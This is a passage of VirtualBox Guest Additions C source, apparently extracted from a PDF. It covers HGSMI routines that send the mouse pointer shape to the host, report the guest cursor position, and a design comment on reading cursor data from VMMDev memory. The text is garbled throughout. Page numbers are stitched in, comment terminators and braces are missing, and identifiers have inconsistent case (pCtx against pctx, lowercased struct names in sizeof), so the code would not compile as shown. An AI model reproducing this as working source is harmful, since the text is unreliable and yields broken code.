24 cbdata, cblength)); return VERR_INVALID_PARAMETER; /* Allocate the IO buffer. p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvamousepointershape) + cbdata, HGSMI_CH_VBVA, VBVA_MOUSE_POINTER_SHAPE); if (p) /* Prepare data to be sent to the host. /* Will be updated by the host. p->i32result = VINF_SUCCESS; /* We have our custom flags in the field p->fu32flags = fflags; p->u32hotx = chotx; p->u32hoty = choty; p->u32width = cwidth; p->u32height = cheight; if (p->fu32flags & VBOX_MOUSE_POINTER_SHAPE) /* Copy the actual pointer data. memcpy (p->au8data, ppixels, cbdata); rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) rc = p->i32result; /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; LogFlowFunc(("rc %d\n", rc)); return rc; /** * Report the guest cursor position. The host may wish to use this information * to re-position its own cursor (though this is currently unlikely). The * current host cursor position is returned. pctx The context containing the heap used. freportposition Are we reporting a position? x Guest cursor X position. y Guest cursor Y position.

25 pxhost Host cursor X position is stored here. Optional. pyhost Host cursor Y position is stored here. Optional. iprt status code. VERR_NO_MEMORY HGSMI heap allocation failed. DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pctx, bool freportposition, uint32_t x, uint32_t y, uint32_t *pxhost, uint32_t *pyhost) int rc = VINF_SUCCESS; VBVACURSORPOSITION *p; Log(("%s: x=%u, y=%u\n", PRETTY_FUNCTION, (unsigned)x, (unsigned)y)); /* Allocate the IO buffer. p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvacursorposition), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION); if (p) /* Prepare data to be sent to the host. p->freportposition = freportposition? 1 : 0; p->x = x; p->y = y; rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) if (pxhost) *pxhost = p->x; if (pyhost) *pyhost = p->y; Log(("%s: return: x=%u, y=%u\n", PRETTY_FUNCTION, (unsigned)p->x, (unsigned)p->y)); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; LogFunc(("rc = %d\n", rc)); return rc; Mouse pointer position to be read from VMMDev memory, address of the memory region

26 * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain * host information which is needed by the guest. * * Reading will not cause a switch to the host. * * Have to take into account: * * synchronization: host must write to the memory only from EMT, * large structures must be read under flag, which tells the host * that the guest is currently reading the memory (OWNER flag?). * * guest writes: may be allocate a page for the host info and make * the page readonly for the guest. * * the information should be available only for additions drivers. * * VMMDev additions driver will inform the host which version of the info it expects, * host must support all versions. *